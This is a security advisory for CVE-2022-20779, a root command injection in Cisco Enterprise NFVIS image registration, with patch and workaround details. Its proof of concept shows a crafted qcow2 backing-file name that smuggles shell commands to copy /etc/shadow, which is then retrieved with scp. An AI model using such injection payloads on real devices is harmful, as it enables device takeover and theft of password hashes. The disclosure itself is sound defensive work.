

# Cisco Enterprise NFVIS - Image registration cmdi (CVE-2022-20779)

**High** orange-cert-cc published GHSA-77vw-2pmg-q492 on May 6

## Package

**NFVIS** (Cisco)

## Affected versions

4.5.1-FC2

## Patched versions

4.7.1

## Description

### Overview

When registering an image on Cisco NFVIS, it is possible to trigger a command injection by providing a specially crafted image.

### Details

When a new image is registered in NFVIS, it is analyzed by launching `qemu-img info <image_file>`. The output is then used without sanitization in a shell command for further actions. As a result, with a specially crafted image, it is possible to inject commands in the process of registration. As all the NFVIS processes runs with root privileges, the injection allows a complete compromise of the device.

### Proof of Concept

As a proof of concept, we can create a qcow file containing a backing file, whose name contains our injection. We won't be describing how to generate this kind of image, but let's see what is the result of the command `qemu-img info` on it :

```
$ qemu-img info boom.qcow2
[...]
backing file: ';cp /etc/shadow /data/intdatastore/uploads/;chmod 664
/data/intdatastore/uploads/shadow;echo '
[...]
```

The `backing file` field contains a trivial command injection, which copies the file `/etc/shadow` in one of the uploads directory from which it can be retrieved by an admin. We are now registering the image through the CLI (the same behavior can be achieved with netconf or REST API) :

```
# vm_lifecycle images image foo src file:///data/intdatastore/uploads/boom.qcow2
# commit
Commit complete.
```

As we can see, there is no error or warning. We can now try to access the uploads directory and see if the file `/etc/shadow` can be found :

```
$ scp -P 22222 admin@<nfvis>:/data/intdatastore/uploads/shadow .
$ cat shadow
[...]
root:$6$XXXXXXXXREDACTEDXXXXXXXXXX:18820:0:99999:7:::
[...]
admin:$6$XXXXXXXXREDACTEDXXXXXXXXXX:18820:0:99999:7:::
```

## Solution

### Security patch

Upgrade to Cisco Enterprise NFVIS v4.7.1

### Workaround

We recommend to:

- Sanitize the untrusted output of `qemu-img` before use.
- Apply the principle of least privileges by handling the image registration process with a non-admin system user.

## References

<https://nvd.nist.gov/vuln/detail/CVE-2022-20779>

<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-NFVIS-MUL-7DySRX9>

## Credits

Orange CERT-CC

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## Timeline

Date reported: September 16, 2021

Date fixed: May 4, 2022

#### Severity

**High** 8.8 / 10

##### CVSS base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

#### CVE ID

CVE-2022-20779

#### Weaknesses

CWE-284